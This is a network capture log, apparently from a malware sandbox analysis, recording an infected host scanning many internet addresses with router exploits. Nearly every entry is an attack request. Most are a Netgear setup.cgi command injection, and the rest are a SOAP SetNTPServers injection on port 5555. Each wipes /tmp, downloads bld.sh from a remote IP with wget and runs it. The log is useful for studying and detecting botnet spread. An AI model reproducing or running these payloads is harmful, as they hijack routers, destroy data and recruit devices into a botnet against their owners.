Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:49.981484890 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	55420	209.160.15.209	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:49.981571913 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	47188	121.154.211.205	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:49.981579065 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	56600	30.110.234.172	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:49.981596947 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	58798	213.49.142.83	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:49.981610060 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	44612	70.118.4.25	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:49.981627941 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	53216	100.235.164.118	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:49.986386061 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	51100	52.82.3.56	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:50.643986940 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	45144	183.86.32.130	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:54.017198086 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	57038	136.202.126.236	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:54.017198086 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	37500	164.238.9.189	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:54.017199039 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	44000	201.48.17.68	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:54.017225027 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	55870	163.86.113.55	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:54.017244101 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	52572	101.237.2.189	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:54.017261028 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	35930	72.205.91.76	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:54.017301083 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	47710	136.26.129.79	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:54.017304897 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	52310	100.141.238.252	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:54.017314911 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	42300	5.79.65.20	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:54.017375946 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	48896	213.241.186.202	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:54.704814911 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	36712	191.0.121.25	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:58.023711920 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	37458	52.180.160.28	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:58.023718119 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.23	50852	92.43.167.173	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:58.023727894 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.23	46846	163.28.221.99	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:58.023739100 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.23	39160	107.6.197.93	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:58.023763895 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.23	34402	1.236.38.54	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:58.023773909 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.23	41722	51.192.171.80	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:58.023775101 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.23	54700	115.56.111.86	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:58.031570911 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.23	51144	133.198.210.77	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:58.031579971 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.23	37904	89.203.103.108	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:58.031588078 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.23	56562	52.180.160.28	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:58.744106054 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.23	36050	120.128.18.75	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:02.060127020 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.23	46744	108.226.143.93	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:02.066437960 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.23	60308	98.201.65.209	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:02.066463947 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.23	37260	124.24.92.78	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:02.066463947 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.23	44384	158.74.59.246	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:02.066472054 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.23	34148	110.213.26.162	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:02.066493988 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.23	40900	155.37.134.165	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:02.066505909 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.23	39258	4.237.0.34	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:02.066509008 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.23	60616	41.204.194.196	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:02.066562891 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.23	38484	191.131.150.27	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:02.066576958 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.23	59402	120.128.18.75	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:02.740236998 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.23	45836	2.247.151.36	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:06.052468061 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.23	51544	159.44.82.224	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:06.057318926 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.23	38506	26.253.209.17	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:06.057344913 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.23	41424	220.104.70.120	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:06.062045097 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.23	49634	94.238.14.221	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:06.062076092 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.23	49822	179.162.41.169	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:06.062098026 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.23	58164	73.243.105.139	80

Timestamp	Bytes transferred	Direction	Data
